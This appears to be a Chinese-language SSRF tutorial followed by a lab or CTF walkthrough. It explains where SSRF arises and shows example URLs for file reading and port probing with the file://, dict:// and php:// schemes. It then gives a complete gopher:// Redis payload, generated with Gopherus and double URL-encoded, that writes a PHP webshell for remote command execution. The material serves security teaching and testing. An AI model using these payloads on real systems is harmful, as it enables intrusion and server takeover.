SSRF:服务器端请求伪造,由攻击者构造请求,由服务端发起请求的一个安全漏洞,能够请求到与它相连而与外网隔离的内部系统。
攻击方式如下所示:
1.信息收集:可以对外网、服务器所在的内网、本地进行端口扫描,某些情况下端口的Banner会回显出来(比如3306的);
2.执行指令:攻击运行在内网或本地的应用程序(比如溢出);
3.信息收集:对内网Web应用进行指纹识别(比如识别企业内部的资产信息);
4.执行指令:攻击内外网有漏洞的Web应用,主要使用httpget请求就可以实现的攻击方式(比如:struts2、sql注入);
5.信息收集:使用file:///、php://filter/协议读取本地文件。
SSRF漏洞可能存在的位置
1.有远程图片加载和下载的地方。比如编辑器处,就会有远程文件加载。
2.转码服务由于手机屏幕大小的关系,直接浏览网页内容的时候会造成许多不便,这时有些网站就通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览的样式。
3.在线翻译在线翻译:通过URL地址翻译对应文本的内容。提供此功能的百度、有道等。
4.头像位置某些地方会进行远程加载头像,例如:http://www.xxxx.com/image?url=http://www.image.com/1.jpg5.测速功能:能够根据用户提供的URL,访问目标站点,以获取其在对应经纬度的访问速度
一切要你输入网址的地方和可以输入ip的地方,都是ssrf的天下。
PHP
file_get_contents()、fsockopen()、curl_exec()、Fopen()以上几个函数使用不当会造成SSRF漏洞
JSP
Request类,URL类的openStream,HttpClient类,URLConnection和HttpURLConnection类以上几种类引用不当会造成SSRF,需要进行检测
1.访问外网:http://192.168.220.143:8888/ssrf.php?url=www.baidu.com
2.通过file协议读取文件:http://192.168.220.143:8888/ssrf.php?url=file:///C:/WINDOWS/win.ini
3.使用dict协议查看端口:http://192.168.220.143:8888/sec/ssrf.php?url=dict://127.0.0.1:22
4.使用php伪协议:http://192.168.220.143:8888/sec/ssrf.php?url=php://filter/read=convert.base64-encode/resource=ssrf.php
5.端口探测:http://192.168.220.143:8888/ssrf.php?url=192.168.220.143:3306
6.利用gopher协议反弹shell:格式:gopher://
dict协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源,在SSRF中如果可以使用此协议,就可以轻易获取目标服务器端口上运行的服务版本等信息(远程利用)
可以传入参数?url=
经过测试,应该可以进行ssrf,
File协议被过滤,http协议被过滤
dict 协议可以用,利用dict协议探测内网端口
拼接?url=dict://127.0.0.1:6379/info
发现6379端口可用,是redis服务
使用redis info 命令,
dict://127.0.0.1:6379/info
能正常返回信息,说明redis没有密码,有未授权访问漏洞
gopher协议能正常使用
可以利用gopher协议写入shell
python gopherus.py
生成payload
python gopherus.py --exploit redis
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ammmmm.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
这里注意我们插入的一句话木马为mmmmm.php,密码为cmd
进行url二次编码
gopher%3a%2f%2f127.0.0.1%3a6379%2f_%252a1%250d%250a%25248%250d%250aflushall%250d%250a%252a3%250d%250a%25243%250d%250aset%250d%250a%25241%250d%250a1%250d%250a%252434%250d%250a%250a%250a%253c%253fphp%2520system%2528%2524_get%255b%2527cmd%2527%255d%2529%253b%2520%253f%253e%250a%250a%250d%250a%252a4%250d%250a%25246%250d%250aconfig%250d%250a%25243%250d%250aset%250d%250a%25243%250d%250adir%250d%250a%252413%250d%250a%2fvar%2fwww%2fhtml%250d%250a%252a4%250d%250a%25246%250d%250aconfig%250d%250a%25243%250d%250aset%250d%250a%252410%250d%250adbfilename%250d%250a%25249%250d%250ammmmm.php%250d%250a%252a1%250d%250a%25244%250d%250asave%250d%250a%250a
我们要输入的payload为
http://e77ceb09.yunyansec.com/?url=gopher%3a%2f%2f127.0.0.1%3a6379%2f_%252a1%250d%250a%25248%250d%250aflushall%250d%250a%252a3%250d%250a%25243%250d%250aset%250d%250a%25241%250d%250a1%250d%250a%252434%250d%250a%250a%250a%253c%253fphp%2520system%2528%2524_get%255b%2527cmd%2527%255d%2529%253b%2520%253f%253e%250a%250a%250d%250a%252a4%250d%250a%25246%250d%250aconfig%250d%250a%25243%250d%250aset%250d%250a%25243%250d%250adir%250d%250a%252413%250d%250a%2fvar%2fwww%2fhtml%250d%250a%252a4%250d%250a%25246%250d%250aconfig%250d%250a%25243%250d%250aset%250d%250a%252410%250d%250adbfilename%250d%250a%25249%250d%250ammmmm.php%250d%250a%252a1%250d%250a%25244%250d%250asave%250d%250a%250a
然后看一下一句话木马是否已经上传
这里我们成功写入了mmmmm.php
就可以进行命令执行操作或者连蚁剑了